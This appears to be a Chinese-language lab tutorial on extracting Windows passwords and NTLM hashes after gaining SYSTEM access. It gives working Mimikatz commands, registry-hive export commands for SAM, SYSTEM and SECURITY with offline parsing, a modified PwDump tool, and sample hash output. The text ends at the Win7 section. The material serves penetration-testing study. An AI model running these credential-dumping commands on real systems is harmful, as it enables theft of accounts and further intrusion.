1. 说明
本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。
https://www.secrss.com/articles/24903 https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA https://zhuanlan.zhihu.com/p/57800688 https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw https://xz.aliyun.com/t/10734#toc-2
2. Windows获取凭证或密码
一般来说,在我们获取到Windows
的system
权限之后,一般都喜欢去看下密码,哪怕是hash
,也想尝试去解一下,Windows
下的安全认证机制总共有两种,一种是基于NTLM
的认证方式,主要用在早期的Windows
工作组环境中;另一种是基于Kerberos
的认证方式,主要用在域环境中。
关于NTLM
的知识,在这里就不在展开了,有兴趣的可以去搜下。
3. 环境准备
本次环境共准备了Windows server2003
、Windows7
、Windows10
、Windows server2012
,按照他们的特点,有针对的进行实操获取。
本文默认已获取system
权限的情况下进行操作。
4. 获取密码或hash方法
4.1 Mimikatz
这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀学习文档。
原版工具:https://github.com/gentilkiwi/mimikatz
使用方法:
privilege::debug 提升权限,返回Privilege '20' OK。说明权限提升成功 sekurlsa::logonpasswords 可以读取到NTLM哈希值
4.1.1 server2003
systeminfo
查看当前的电脑是32位
的,所以在这里就使用32
位的来试下:
执行命令之后可以直接获取到明文:
privilege::debug sekurlsa::logonpasswords
4.1.2 windows10
在这里先关闭Windows10
的Windows defender
,在这里并不对其进行免杀研究,直接使用x64
位的之后,来获取hash
:
执行命令之后只能够获取hash
,不能够直接获取明文:
209c6174da490caeb422f3fa5a7ae634
可以通过第三方的方式来获取密码:
当然,mimikatz
也可以使用非交互的方式来获取hash
:
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
4.2 注册表导出hash
有时候,因为某些问题,导致无法直接获取hash
,所以在这里还可以使用注册表导出hash
的方式来进行,具体的步骤如下:
在靶机上使用以下命令(需要system
权限):
靶机上执行: reg save HKLM\SYSTEM system.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv 在本地使用mimikatz执行: mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
4.2.1 server2003
打开cmd
执行命令,导出system.hiv
,sam.hiv
,security.hiv
文件:
reg save HKLM\SYSTEM system.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv
最后使用mimikatz
执行,在非靶标机器上,不需要system
权限:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
RID : 000001f4 (500) User : Administrator Hash LM : f0d412bd764ffe81aad3b435b51404ee Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
直接去查询即可。
4.2.2 Windows10
使用同样的方法导出之后再解密:
获取到hash
信息:
User : admin Hash NTLM: 209c6174da490caeb422f3fa5a7ae634
4.3 pass64.exe
这个文件是我早些时候渗透的时候获得的,在win7
、8
等低于Windows10
的系统上(这种说法不严谨),使用system
权限运行能够直接获取64
位系统的账号和密码信息。
这个工具应该是PwDump7
工具的魔改版本。
在win10
上因为无法获取账号密码报错:
win7
环境下: